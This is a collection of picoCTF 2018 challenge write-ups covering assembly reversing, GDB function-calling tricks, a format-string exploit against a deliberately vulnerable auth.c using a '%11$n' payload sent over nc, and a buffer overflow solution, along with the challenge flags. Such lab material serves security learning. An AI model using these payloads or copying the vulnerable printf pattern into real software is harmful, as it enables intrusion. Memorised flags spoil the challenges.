47 | char buf[512]; 48 | char *arg; 49 | uint32_t level; 50 | struct user *user; 51 | 52 | setbuf(stdout, NULL); 53 | 54 | menu(); 55 | 56 | user = NULL; 57 | while(1){ 58 | puts("\nEnter your command:"); 59 | putchar('>'); putchar(' '); 60 | 61 | if(fgets(buf, 512, stdin) == NULL) 62 | break; 63 | 64 | if (!strncmp(buf, "show", 4)){ 65 | if(user == NULL){ 66 | puts("Not logged in."); 67 | }else{ 68 | printf("Logged in as %s [%u]\n", user->name, user->level); 69 | } 70 | 71 | }else if (!strncmp(buf, "login", 5)){ 72 | if (user != NULL){ 73 | puts("Already logged in. Reset first."); 74 | continue; 75 | } 76 | 77 | arg = strtok(&buf[6], "\n"); 78 | if (arg == NULL){ 79 | puts("Invalid command"); 80 | continue; 81 | } 82 | 83 | user = (struct user *)malloc(sizeof(struct user)); 84 | if (user == NULL) { 85 | puts("malloc() returned NULL. Out of Memory\n"); 86 | exit(-1); 87 | } 88 | user->name = strdup(arg); 89 | printf("Logged in as \"%s\"\n", arg); 90 | 91 | }else if(!strncmp(buf, "set-auth", 8)){ 92 | if(user == NULL){ 93 | puts("Login first."); 94 | continue; 95 | } 96 | 97 | arg = strtok(&buf[9], "\n"); 98 | if (arg == NULL){ 99 | puts("Invalid command"); 100 | continue; 101 | } 102 | 103 | level = strtoul(arg, NULL, 10); 104 | 105 | if (level >= 5){ 106 | puts("Can only set authorization level below 5"); 107 | continue; 108 | } 109 | 110 | user->level = level; 111 | printf("Set authorization level to \"%u\"\n", level); 112 | 113 | }else if(!strncmp(buf, "get-flag", 8)){ 114 | if (user == NULL){ 115 | puts("Login first!"); 116 | continue; 117 | } 118 | 119 | if (user->level != 5){ 120 | puts("Must have authorization level 5."); 121 | continue; 122 | } 123 | 124 | give_flag(); 125 | }else if(!strncmp(buf, "reset", 5)){ 126 | if (user == NULL){ 127 | puts("Not logged in!"); 128 | continue; 129 | } 130 | 131 | free(user->name); 132 | user = NULL; 133 | 134 | puts("Logged out!"); 135 | }else if(!strncmp(buf, "quit", 4)){ 136 | return 0; 137 | }else{ 138 | puts("Invalid option"); 139 | menu(); 140 | } 141 | } 142 | } 143 | -------------------------------------------------------------------------------- /Solved/assembly_0/README.md: -------------------------------------------------------------------------------- 1 | # assembly-0 2 | Reversing - 150 points 3 | 4 | ## Challenge 5 | > What does asm0(0xb6,0xc6) return? Submit the flag as a hexadecimal value (starting with '0x') 6 | 7 | ## Hint 8 | [assembly conditions](https://www.tutorialspoint.com/assembly_programming/assembly_conditions.htm) 9 | 10 | [basical assembly tutorial](https://www.tutorialspoint.com/assembly_programming/assembly_basic_syntax.htm) 11 | [assembly registers](https://www.tutorialspoint.com/assembly_programming/assembly_registers.htm) 12 | 13 | ## Solution 14 | 15 | push ebp 16 | mov ebp,esp 17 | mov eax,DWORD PTR [ebp+0x8] 18 | mov ebx,DWORD PTR [ebp+0xc] 19 | mov eax,ebx 20 | mov esp,ebp 21 | pop ebp 22 | ret 23 | 24 | --- 25 | 26 | #### Stack 27 | 28 | ![https://i.stack.imgur.com/9RelF.png](https://i.stack.imgur.com/9RelF.png) 29 | 30 | Return address is at ebp+0x4 31 | param1 == 0xb6 is at ebp+0x8 32 | param2 == 0xc6 is at ebp+0xc 33 | 34 | psuedocode 35 | 36 | eax = param1 37 | ebx = param2 38 | eax = ebx 39 | return eax 40 | 41 | ## Flag 42 | 43 | 0xc6 -------------------------------------------------------------------------------- /Solved/assembly_0/intro_asm_rev.S: -------------------------------------------------------------------------------- 1 | .intel_syntax noprefix 2 | .bits 32 3 | 4 | .global asm0 5 | 6 | asm0: 7 | push ebp 8 | mov ebp,esp 9 | mov eax,DWORD PTR [ebp+0x8] 10 | mov ebx,DWORD PTR [ebp+0xc] 11 | mov eax,ebx 12 | mov esp,ebp 13 | pop ebp 14 | ret 15 | -------------------------------------------------------------------------------- /Solved/assembly_1/README.md: -------------------------------------------------------------------------------- 1 | # assembly-1 2 | Reversing - 200 points 3 | 4 | ## Challenge 5 | > What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). 6 | 7 | ## Hint 8 | [assembly conditions](https://www.tutorialspoint.com/assembly_programming/assembly_conditions.htm) 9 | 10 | ## Solution 11 | 12 | Assembly 13 | 14 | asm1: 15 | push ebp 16 | mov ebp,esp 17 | cmp DWORD PTR [ebp+0x8],0x98 18 | jg part_a 19 | cmp DWORD PTR [ebp+0x8],0x8 20 | jne part_b 21 | mov eax,DWORD PTR [ebp+0x8] 22 | add eax,0x3 23 | jmp part_d 24 | part_a: 25 | cmp DWORD PTR [ebp+0x8],0x16 26 | jne part_c 27 | mov eax,DWORD PTR [ebp+0x8] 28 | sub eax,0x3 29 | jmp part_d 30 | part_b: 31 | mov eax,DWORD PTR [ebp+0x8] 32 | sub eax,0x3 33 | jmp part_d 34 | cmp DWORD PTR [ebp+0x8],0xbc 35 | jne part_c 36 | mov eax,DWORD PTR [ebp+0x8] 37 | sub eax,0x3 38 | jmp part_d 39 | part_c: 40 | mov eax,DWORD PTR [ebp+0x8] 41 | add eax,0x3 42 | part_d: 43 | pop ebp 44 | ret 45 | 46 | 47 | Psuedocode 48 | 49 | // Return address is at ebp+0x4 50 | // param1 == 0x76 is at ebp+0x8 51 | 52 | asm1: 53 | if (param1 > 0x98) { 54 | goto part_a 55 | } 56 | if (param1 != 0x98) { 57 | goto part_b 58 | } 59 | eax = *param1 60 | eax += 3 61 | goto part_d 62 | 63 | part_a: 64 | if (param1 != 0x16) { 65 | goto part_c 66 | } 67 | eax = *param1 68 | eax -= 3 69 | goto part_d 70 | 71 | part_b: 72 | eax = *param1 73 | eax -= 3 74 | goto part_d 75 | 76 | // unreachable 77 | if (param1 != 0xbc) { 78 | goto part_c 79 | } 80 | eax = *param1 81 | eax -= 3 82 | goto part_d 83 | 84 | part_c: 85 | eax = *param1 86 | eax += 3 87 | 88 | part_d: 89 | return value; 90 | 91 | Psuedocode condensed 92 | 93 | 94 | // Return address is at ebp+0x4 95 | // param1 == 0x76 is at ebp+0x8 96 | 97 | function asm1(param1) { 98 | if (param1 > 0x98) { 99 | if (param1 != 0x16) { 100 | param1 += 3 101 | return param1 102 | } 103 | param1 -= 3 104 | return param1 105 | } 106 | if (param1 != 0x98) { 107 | param1 -= 3 108 | return param1 109 | // unreachable code here 110 | } 111 | param1 += 3 112 | return param1 113 | } 114 | asm1(0x76); 115 | 116 | --- 117 | 118 | Since 0x76 != 0x98, 119 | 120 | 0x76-0x3 is returned 121 | 122 | ## Flag 123 | 124 | 0x73 -------------------------------------------------------------------------------- /Solved/assembly_1/eq_asm_rev.S: -------------------------------------------------------------------------------- 1 | .intel_syntax noprefix 2 | .bits 32 3 | 4 | .global asm1 5 | 6 | asm1: 7 | push ebp 8 | mov ebp,esp 9 | cmp DWORD PTR [ebp+0x8],0x98 10 | jg part_a 11 | cmp DWORD PTR [ebp+0x8],0x8 12 | jne part_b 13 | mov eax,DWORD PTR [ebp+0x8] 14 | add eax,0x3 15 | jmp part_d 16 | part_a: 17 | cmp DWORD PTR [ebp+0x8],0x16 18 | jne part_c 19 | mov eax,DWORD PTR [ebp+0x8] 20 | sub eax,0x3 21 | jmp part_d 22 | part_b: 23 | mov eax,DWORD PTR [ebp+0x8] 24 | sub eax,0x3 25 | jmp part_d 26 | cmp DWORD PTR [ebp+0x8],0xbc 27 | jne part_c 28 | mov eax,DWORD PTR [ebp+0x8] 29 | sub eax,0x3 30 | jmp part_d 31 | part_c: 32 | mov eax,DWORD PTR [ebp+0x8] 33 | add eax,0x3 34 | part_d: 35 | pop ebp 36 | ret 37 | -------------------------------------------------------------------------------- /Solved/assembly_2/README.md: -------------------------------------------------------------------------------- 1 | # assembly-2 2 | Reversing - 250 points 3 | 4 | ## Challenge 5 | > What does asm2(0x7,0x28) return? Submit the flag as a hexadecimal value (starting with '0x'). 6 | 7 | ## Hint 8 | > [assembly conditions](https://www.tutorialspoint.com/assembly_programming/assembly_conditions.htm) 9 | 10 | ## Solution 11 | 12 | Assembly 13 | 14 | asm2: 15 | push ebp 16 | mov ebp,esp 17 | sub esp,0x10 18 | mov eax,DWORD PTR [ebp+0xc] 19 | mov DWORD PTR [ebp-0x4],eax 20 | mov eax,DWORD PTR [ebp+0x8] 21 | mov DWORD PTR [ebp-0x8],eax 22 | jmp part_b 23 | part_a: 24 | add DWORD PTR [ebp-0x4],0x1 25 | add DWORD PTR [ebp+0x8],0x76 26 | part_b: 27 | cmp DWORD PTR [ebp+0x8],0xa1de 28 | jle part_a 29 | mov eax,DWORD PTR [ebp-0x4] 30 | mov esp,ebp 31 | pop ebp 32 | ret 33 | 34 | Psuedocode 35 | 36 | // => asm2(0x7,0x28) 37 | // param2 = ebp+0xc == 0x28 38 | // param1 = ebp+0x8 == 0x07 39 | // return address = ebp+0x4 40 | // base pointer = ebp 41 | 42 | asm2: 43 | 44 | byte local1[16] // sub esp,0x10 ; allocate local param 45 | local1[12] = param2 // mov DWORD PTR [ebp-0x4],eax 46 | local1[8] = param1 // mov DWORD PTR [ebp-0x8],eax 47 | 48 | while (param1 <= 0xa1de) { 49 | local1[12] += 1 50 | param1 += 0x76 51 | } 52 | return local1[12]; 53 | 54 | So the loop will run `(0xa1de - 0x7) / 0x76` times or 352 times. 55 | 56 | So `local1[12]` will increment 352 times to get 0x188 57 | 58 | ## Flag 59 | 60 | 0x188 61 | -------------------------------------------------------------------------------- /Solved/assembly_2/loop_asm_rev.S: -------------------------------------------------------------------------------- 1 | .intel_syntax noprefix 2 | .bits 32 3 | 4 | .global asm2 5 | 6 | asm2: 7 | push ebp 8 | mov ebp,esp 9 | sub esp,0x10 10 | mov eax,DWORD PTR [ebp+0xc] 11 | mov DWORD PTR [ebp-0x4],eax 12 | mov eax,DWORD PTR [ebp+0x8] 13 | mov DWORD PTR [ebp-0x8],eax 14 | jmp part_b 15 | part_a: 16 | add DWORD PTR [ebp-0x4],0x1 17 | add DWORD PTR [ebp+0x8],0x76 18 | part_b: 19 | cmp DWORD PTR [ebp+0x8],0xa1de 20 | jle part_a 21 | mov eax,DWORD PTR [ebp-0x4] 22 | mov esp,ebp 23 | pop ebp 24 | ret 25 | -------------------------------------------------------------------------------- /Solved/assembly_3/README.md: -------------------------------------------------------------------------------- 1 | # assembly-3 2 | Reversing - 400 points 3 | 4 | ## Challenge 5 | > What does asm3(0xfac0f685,0xe0911505,0xaee1f319) return? Submit the flag as a hexadecimal value (starting with '0x') 6 | 7 | ## Hint 8 | > more(?) [registers](https://wiki.skullsecurity.org/index.php?title=Registers) 9 | 10 | 11 | ## Solution 12 | 13 | 14 | Assembly 15 | 16 | asm3: 17 | push ebp 18 | mov ebp,esp 19 | mov eax,0x27 20 | xor al,al 21 | mov ah,BYTE PTR [ebp+0xb] 22 | sal ax,0x10 23 | sub al,BYTE PTR [ebp+0xc] 24 | add ah,BYTE PTR [ebp+0xf] 25 | xor ax,WORD PTR [ebp+0x12] 26 | mov esp, ebp 27 | pop ebp 28 | ret 29 | 30 | Psuedocode 31 | 32 | // asm3(0xfac0f685,0xe0911505,0xaee1f319) 33 | // param2 = ebp+0x10 == 0xaee1f319 or 34 | // param2 = ebp+0x0c == 0xe0911505 or 35 | // param1 = ebp+0x08 == 0xfac0f685 36 | // return = ebp+0x04 37 | 38 | asm3: 39 | push ebp 40 | mov ebp,esp 41 | mov eax,0x27 ; eax == 0x0000_0027 42 | xor al,al ; al = 0, hence eax == 0x0000_0000 43 | mov ah,BYTE PTR [ebp+0xb] ; ah = 0xfa, hence eax == 0x0000_fa00 44 | sal ax,0x10 ; ax <<= 16, hence eax == 0x0000_0000 45 | sub al,BYTE PTR [ebp+0xc] ; al -= 0x05, hence eax == 0x0000_00fb 46 | add ah,BYTE PTR [ebp+0xf] ; ah += 0xe0, hence eax == 0x0000_e0fb 47 | xor ax,WORD PTR [ebp+0x12] ; ax ^= 0xaee1, hence eax == 0x0000_4e1a 48 | mov esp, ebp 49 | pop ebp 50 | ret 51 | 52 | I made use of pwntools to understand the stack 53 | 54 | $ python 55 | >>> from pwn import * 56 | >>> buf = 'BASE' + 'RETN' + p32(0xfac0f685) + p32(0xe0911505) + p32(0xaee1f319) 57 | 58 | >>> buf[0xb] 59 | '\xfa' 60 | 61 | >>> buf[0xc] 62 | '\x05' 63 | 64 | >>> buf[0xf] 65 | '\xe0' 66 | 67 | >>> buf[0x12] 68 | '\xe1' 69 | 70 | >>> hex(0x100-0x05) # byte underflow from subtraction 71 | '0xfb' 72 | 73 | >>> hex(0xe0fb ^ 0xaee1) 74 | '0x4e1a' 75 | 76 | References: 77 | - https://reverseengineering.stackexchange.com/questions/18735/is-it-possible-to-access-the-higher-part-of-the-32-bit-and-64-bit-registers-if 78 | - https://wiki.skullsecurity.org/index.php?title=Registers#16-bit_and_8-bit_Registers 79 | 80 | 81 | ## Flag 82 | 83 | 0x4e1a 84 | -------------------------------------------------------------------------------- /Solved/assembly_3/end_asm_rev.S: -------------------------------------------------------------------------------- 1 | .intel_syntax noprefix 2 | .bits 32 3 | 4 | .global asm3 5 | 6 | asm3: 7 | push ebp 8 | mov ebp,esp 9 | mov eax,0x27 10 | xor al,al 11 | mov ah,BYTE PTR [ebp+0xb] 12 | sal ax,0x10 13 | sub al,BYTE PTR [ebp+0xc] 14 | add ah,BYTE PTR [ebp+0xf] 15 | xor ax,WORD PTR [ebp+0x12] 16 | mov esp, ebp 17 | pop ebp 18 | ret 19 | -------------------------------------------------------------------------------- /Solved/assembly_4/README.md: -------------------------------------------------------------------------------- 1 | # assembly-4 2 | Reversing - 550 points 3 | 4 | ## Challenge 5 | > Can you find the flag using the following assembly source? WARNING: It is VERY long... 6 | 7 | ## Hint 8 | > Hmm.. There must be an easier way than reversing the whole thing right? 9 | 10 | ## Solution 11 | 12 | ### Trying to reverse 13 | 14 | 15 | References: 16 | - https://stackoverflow.com/questions/3818755/imul-assembly-instruction-one-operand 17 | - https://stackoverflow.com/questions/3378543/what-does-push-ebp-mean-in-x86-assemby 18 | - https://en.wikipedia.org/wiki/Call_stack#Structure 19 | - https://reverseengineering.stackexchange.com/a/17225 20 | - https://www.aldeid.com/wiki/X86-assembly/Instructions/lea 21 | 22 | 23 | There is a series of functions `rrf*` which returns the respective ASCII value of the mentioned char. 24 | 25 | --- 26 | 27 | For add() and sub() methods: 28 | 29 | add: 30 | movsx ecx, byte [esp+4H] ; ecx = (int8) param1; // copy with sign bit 31 | sub ecx, 48 ; ecx -= 48; 32 | add ecx, dword [esp+8H] ; ecx += (int32) param2; 33 | mov edx, 3524075731 ; edx = 3524075731; 34 | mov eax, ecx ; eax = ecx; 35 | imul edx ; edx:eax = edx * eax; 36 | add edx, ecx ; edx += ecx; 37 | sar edx, 6 ; edx >>= 6 38 | mov eax, ecx ; eax = ecx 39 | sar eax, 31 ; eax >>= 31 40 | sub edx, eax ; edx -= eax 41 | imul edx, edx, 78 ; edx = edx * 78 42 | sub ecx, edx ; ecx -= edx 43 | lea eax, [ecx+30H] ; return [ecx+48] 44 | ret 45 | 46 | 47 | // Psuedocode 48 | c = (param1 + param2 - 48) 49 | edx:eax = 3524075731 * c; 50 | edx:eax += (c << 32) 51 | edx >>= 6 52 | edx -= (c >> 31) 53 | edx *= 78 54 | c -= edx 55 | return x+48 56 | 57 | // Condensed 58 | c = (param1 + param2 - 48) 59 | d = (3524075731 * c) >> 32 60 | d += c 61 | d >>= 6 62 | d -= (c >> 31) 63 | d *= 78 64 | return c-d+48 65 | 66 | 67 | 68 | #### Compiling 69 | 70 | The hint is telling us to compile it 71 | 72 | $ nasm -f elf comp.nasm 73 | $ gcc -m32 comp.o -o comp 74 | $ ./comp 75 | picoCTF{1_h0p3_y0u_c0mP1l3d_tH15_94698637933 76 | 77 | ## Flag 78 | 79 | If your flag does not work, EITHER replace the trailing '3's at the end with a '}' OR change '2390040222' to '2350040222' and change '70u' to 'y0u' 80 | 81 | picoCTF{1_h0p3_y0u_c0mP1l3d_tH15_946986379} 82 | -------------------------------------------------------------------------------- /Solved/assembly_4/comp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/assembly_4/comp -------------------------------------------------------------------------------- /Solved/assembly_4/solve/comp.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/assembly_4/solve/comp.o -------------------------------------------------------------------------------- /Solved/authenticate/README.md: -------------------------------------------------------------------------------- 1 | # authenticate 2 | Binary Exploitation - 350 points 3 | 4 | ## Challenge 5 | > Can you [authenticate](auth) to this service and get the flag? Connect with nc 2018shell2.picoctf.com 52398. 6 | 7 | >[Source.](auth.c) 8 | 9 | ## Hint 10 | > What happens if you say something OTHER than yes or no? 11 | 12 | ## Solution 13 | 14 | References 15 | 16 | - https://ehsandev.com/pico2014/binary_exploitation/format.html 17 | - https://stackoverflow.com/questions/19166698/format-strings-and-using-n-to-overwrite-memory-address-with-specific-value 18 | 19 | ### Format string attack 20 | 21 | If we don't input either yes or no, it will print our input value 22 | 23 | 24 | $ nc 2018shell2.picoctf.com 52398 25 | Would you like to read the flag? (yes/no) 26 | '%{num}$08x' 27 | %08$08x 28 | %08$08x 29 | %08$08x 30 | %08$08x 31 | %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x 32 | Received Unknown Input: 33 | 34 | 080489a6 f77c25a0 0804875a f77f9000 f77f9918 ffbcd5f0 ffbcd6e4 00000000 ffbcd684 0000042a 78383025 38302520 Sorry, you are not *authenticated*! 35 | 36 | Since we want to modify `authenticated`, let's first find its address through GDB 37 | 38 | (gdb) p &authenticated 39 | $1 = ( *) 0x804a04c 40 | 41 | 42 | For format string, we need to first find out what buffer area we can control to select the address of the `authenticated` variable 43 | 44 | $ for num in {1..10}; do echo "ABCD $num %$num\$08x" | ./auth ; done; 45 | ... 46 | 47 | Would you like to read the flag? (yes/no) 48 | Received Unknown Input: 49 | 50 | ABCD 11 44434241 51 | Sorry, you are not *authenticated*! 52 | 53 | So we can control offset 11 and set the address to `0x804a04c`. Afterwhich we use `%n` write to it. 54 | 55 | \x4c\xa0\x04\x08 %11$n 56 | 57 | ## Flag 58 | 59 | 60 | $ python -c 'print "\x4c\xa0\x04\x08 %11$n"' | nc 2018shell2.picoctf.com 52398 61 | Would you like to read the flag? (yes/no) 62 | Received Unknown Input: 63 | 64 | L 65 | Access Granted. 66 | picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_0bec1698} 67 | -------------------------------------------------------------------------------- /Solved/authenticate/auth: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/authenticate/auth -------------------------------------------------------------------------------- /Solved/authenticate/auth.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int authenticated = 0; 8 | 9 | int flag() { 10 | char flag[48]; 11 | FILE *file; 12 | file = fopen("flag.txt", "r"); 13 | if (file == NULL) { 14 | printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 15 | exit(0); 16 | } 17 | 18 | fgets(flag, sizeof(flag), file); 19 | printf("%s", flag); 20 | return 0; 21 | } 22 | 23 | void read_flag() { 24 | if (!authenticated) { 25 | printf("Sorry, you are not *authenticated*!\n"); 26 | } 27 | else { 28 | printf("Access Granted.\n"); 29 | flag(); 30 | } 31 | 32 | } 33 | 34 | int main(int argc, char **argv) { 35 | 36 | setvbuf(stdout, NULL, _IONBF, 0); 37 | 38 | char buf[64]; 39 | 40 | // Set the gid to the effective gid 41 | // this prevents /bin/sh from dropping the privileges 42 | gid_t gid = getegid(); 43 | setresgid(gid, gid, gid); 44 | 45 | printf("Would you like to read the flag? (yes/no)\n"); 46 | 47 | fgets(buf, sizeof(buf), stdin); 48 | 49 | if (strstr(buf, "no") != NULL) { 50 | printf("Okay, Exiting...\n"); 51 | exit(1); 52 | } 53 | else if (strstr(buf, "yes") == NULL) { 54 | puts("Received Unknown Input:\n"); 55 | printf(buf); 56 | } 57 | 58 | read_flag(); 59 | 60 | } 61 | -------------------------------------------------------------------------------- /Solved/be_quick_or_be_dead_1/README.md: -------------------------------------------------------------------------------- 1 | # be-quick-or-be-dead-1 2 | Reversing - 200 points 3 | 4 | ## Challenge 5 | > You find [this](https://www.youtube.com/watch?v=CTt1vk9nM9c) when searching for some music, which leads you to [be-quick-or-be-dead-1](be-quick-or-be-dead-1). Can you run it fast enough? You can also find the executable in /problems/be-quick-or-be-dead-1_4_98374389c5652d0b16055427532f098f. 6 | 7 | ## Hint 8 | > 9 | 10 | 11 | ## Solution 12 | 13 | Hopper decompiler 14 | 15 | int main(int arg0, int arg1) { 16 | header(); 17 | set_timer(); 18 | get_key(); 19 | print_flag(); 20 | return 0x0; 21 | } 22 | 23 | 24 | Call the function directly in GDB 25 | 26 | $ gdb be-quick-or-be-dead-1 27 | 28 | (gdb) break main 29 | Breakpoint 1 at 0x40082b 30 | 31 | (gdb) run 32 | Starting program: /problems/be-quick-or-be-dead-1_4_98374389c5652d0b16055427532f098f/be-quick-or-be-dead-1 33 | 34 | Breakpoint 1, 0x000000000040082b in main () 35 | 36 | (gdb) call get_key() 37 | Calculating key... 38 | Done calculating key 39 | $1 = 21 40 | 41 | (gdb) call print_flag() 42 | Printing flag: 43 | picoCTF{why_bother_doing_unnecessary_computation_402ca676} 44 | $2 = 59 45 | 46 | 47 | ## Flag 48 | 49 | picoCTF{why_bother_doing_unnecessary_computation_402ca676} 50 | -------------------------------------------------------------------------------- /Solved/be_quick_or_be_dead_1/be-quick-or-be-dead-1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/be_quick_or_be_dead_1/be-quick-or-be-dead-1 -------------------------------------------------------------------------------- /Solved/be_quick_or_be_dead_2/README.md: -------------------------------------------------------------------------------- 1 | # be-quick-or-be-dead-2 2 | Reversing - 275 points 3 | 4 | ## Challenge 5 | > As you enjoy this music even more, another executable [be-quick-or-be-dead-2](be-quick-or-be-dead-2) shows up. Can you run this fast enough too? You can also find the executable in /problems/be-quick-or-be-dead-2_0_04f4c579185361da6918bbc2fc9dcb7b. 6 | 7 | 8 | ## Hint 9 | > Can you call stuff without executing the entire program? 10 | What will the key finally be? 11 | 12 | ## Solution 13 | 14 | Decompiled code 15 | 16 | int main(int arg0, int arg1) { 17 | header(); 18 | set_timer(); 19 | get_key(); 20 | print_flag(); 21 | return 0x0; 22 | } 23 | 24 | int print_flag() { 25 | puts("Printing flag:"); 26 | decrypt_flag(*(int32_t *)__TMC_END__); 27 | rax = puts(0x601080); 28 | return rax; 29 | } 30 | 31 | void calculate_key() { 32 | fib(0x3f7); 33 | return; 34 | } 35 | 36 | --- 37 | 38 | In the function `void calculate_key()`, the fibbonacci number of `0x3f7` or decimal `1015` is being calculated to be the key. 39 | 40 | The fibbonacci number is being calculated in a **very inefficient way**. Using programs that implement memoization, the result will be almost instant 41 | 42 | $ wget https://gist.githubusercontent.com/juniskane/0968c66aec75bee27736d7a2819db141/raw/8550dc13342b73cde732c34506b2a84451ebe360/fib.py 43 | 44 | $ python fib.py 1015 45 | 59288416551943338727574080408572281287377451615227988184724603969919549034666922046325034891393072356252090591628758887874047734579886068667306295291967872198822088710569576575629665781687543564318377549435421485 46 | 47 | Now, we can use GDB to call the functions directly without running the entire program. 48 | 49 | (gdb) b main 50 | Breakpoint 1 at 0x400863 51 | 52 | (gdb) run 53 | Starting program: /FILES/be-quick-or-be-dead-2 54 | Breakpoint 1, 0x0000000000400863 in main () 55 | 56 | (gdb) call decrypt_flag(59288416551943338727574080408572281287377451615227988184724603969919549034666922046325034891393072356252090591628758887874047734579886068667306295291967872198822088710569576575629665781687543564318377549435421485) 57 | Numeric constant too large. 58 | 59 | Here, the number is too large and we need to have the param as a long integer or 64-bit integer. 60 | 61 | We can scale it by getting the first 64 bits. 62 | 63 | >>> result = 59288416551943338727574080408572281287377451615227988184724603969919549034666922046325034891393072356252090591628758887874047734579886068667306295291967872198822088710569576575629665781687543564318377549435421485 64 | >>> result & (2**64 - 1) 65 | 17662975587330736941 66 | 67 | Now we can decrypt it 68 | 69 | (gdb) call (int) decrypt_flag(17662975587330736941) 70 | $1 = 57 71 | 72 | (gdb) call puts(0x601080) 73 | picoCTF{the_fibonacci_sequence_can_be_done_fast_73e2451e} 74 | $2 = 58 75 | 76 | ## Flag 77 | 78 | picoCTF{the_fibonacci_sequence_can_be_done_fast_73e2451e} 79 | -------------------------------------------------------------------------------- /Solved/be_quick_or_be_dead_2/be-quick-or-be-dead-2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/be_quick_or_be_dead_2/be-quick-or-be-dead-2 -------------------------------------------------------------------------------- /Solved/be_quick_or_be_dead_2/fib.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | def fib(n): 4 | a,b,c,d=1,0,0,1 5 | n=n-1 6 | while n>0: 7 | if n&1:a,b=d*b+c*a,d*(b+a)+c*b 8 | c,d,n=c*c+d*d,d*(2*c+d),n/2 9 | return a+b 10 | 11 | if __name__ == '__main__': 12 | print fib(long(sys.argv[1])) 13 | -------------------------------------------------------------------------------- /Solved/be_quick_or_be_dead_3/README.md: -------------------------------------------------------------------------------- 1 | # be-quick-or-be-dead-3 2 | Reversing - 350 points 3 | 4 | ## Challenge 5 | > As the song draws closer to the end, another executable [be-quick-or-be-dead-3](be-quick-or-be-dead-3) suddenly pops up. This one requires even faster machines. Can you run it fast enough too? You can also find the executable in /problems/be-quick-or-be-dead-3_2_fc35b1f6832df902b8e2f724772d012f. 6 | 7 | 8 | ## Hint 9 | > How do you speed up a very repetitive computation? 10 | 11 | 12 | ## Solution 13 | 14 | Decompiled code 15 | 16 | void calculate_key() { 17 | calc(0x19965); 18 | return; 19 | } 20 | 21 | int calc(int var_24) { 22 | if (var_24 <= 0x4) { 23 | var_14 = var_24 * var_24 + 0x2345; 24 | } else { 25 | var_14 = calc(var_24 - 0x5) * 0x1234 + (calc(var_24 - 0x1) - calc(var_24 - 0x2)) + (calc(var_24 - 0x3) - calc(var_24 - 0x4)); 26 | } 27 | return var_14; 28 | } 29 | 30 | int print_flag() { 31 | puts("Printing flag:"); 32 | decrypt_flag(*(int32_t *)__TMC_END__); 33 | rax = puts(0x601080); 34 | return rax; 35 | } 36 | 37 | --- 38 | 39 | Similar to be-quick-or-be-dead-2, the calculate_key() function takes a long time. Unfortunately, it is not a simple algorithm easily found on the internet. 40 | 41 | Like the fibonacci function, the calc() function can be sped up using ***memoization***. Python has a [built in memoization decorator](https://www.ynonperek.com/2018/01/11/quick-tip-using-memoization-to-speed-up-recursive-functions/), which is very easy to use. 42 | 43 | In a few seconds, we get our result. I printed limited to a 64-bit integer. 44 | 45 | $ time python3 memoize.py 46 | Result: 12083287467950786958 47 | 48 | Run in GDB 49 | 50 | (gdb) b main 51 | Breakpoint 1 at 0x4008aa 52 | 53 | (gdb) run 54 | Starting program: /FILES/be-quick-or-be-dead-3 55 | Breakpoint 1, 0x00000000004008aa in main () 56 | 57 | (gdb) call (int) decrypt_flag(12083287467950786958) 58 | $1 = 41 59 | 60 | (gdb) call puts(0x601080) 61 | picoCTF{dynamic_pr0gramming_ftw_b5c45645} 62 | $2 = 42 63 | 64 | 65 | ## Flag 66 | 67 | picoCTF{dynamic_pr0gramming_ftw_b5c45645} 68 | -------------------------------------------------------------------------------- /Solved/be_quick_or_be_dead_3/be-quick-or-be-dead-3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/be_quick_or_be_dead_3/be-quick-or-be-dead-3 -------------------------------------------------------------------------------- /Solved/be_quick_or_be_dead_3/memoize.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from functools import lru_cache 3 | 4 | # Memoized function 5 | @lru_cache(maxsize=None) 6 | def calc(var_24): 7 | if (var_24 <= 0x4): 8 | var_14 = var_24 * var_24 + 0x2345 9 | else: 10 | var_14 = calc(var_24 - 0x5) * 0x1234 + (calc(var_24 - 0x1) - calc(var_24 - 0x2)) + (calc(var_24 - 0x3) - calc(var_24 - 0x4)); 11 | return var_14 12 | 13 | # Calculate upwards to allow cache to initialise 14 | # This prevents the error - RecursionError: maximum recursion depth exceeded in comparison 15 | for i in range(0x19965): 16 | calc(i) 17 | 18 | # Finally do calculation 19 | # Limit it to 64-bit integer size 20 | print("Result:", calc(0x19965) & (2**64 - 1)) 21 | -------------------------------------------------------------------------------- /Solved/buffer_overflow_0/README.md: -------------------------------------------------------------------------------- 1 | # buffer overflow 0 2 | Binary Exploitation - 150 points 3 | 4 | ## Challenge 5 | > Let's start off simple, can you overflow the right buffer in this [program](vuln) to get the flag? You can also find it in /problems/buffer-overflow-0_3_d5263c5219b334339c34ac35c51c4a17 on the shell server 6 | 7 | [Source](vuln.c) 8 | 9 | ## Solution 10 | 11 | zst123@pico-2018-shell-2:/problems/buffer-overflow-0_3_d5263c5219b334339c34ac35c51c4a17$ ./vuln $(pwn cyclic 100) 12 | picoCTF{ov3rfl0ws_ar3nt_that_bad_2d11f6cd} 13 | -------------------------------------------------------------------------------- /Solved/buffer_overflow_0/vuln: -------------------------------------------------------------------------------- 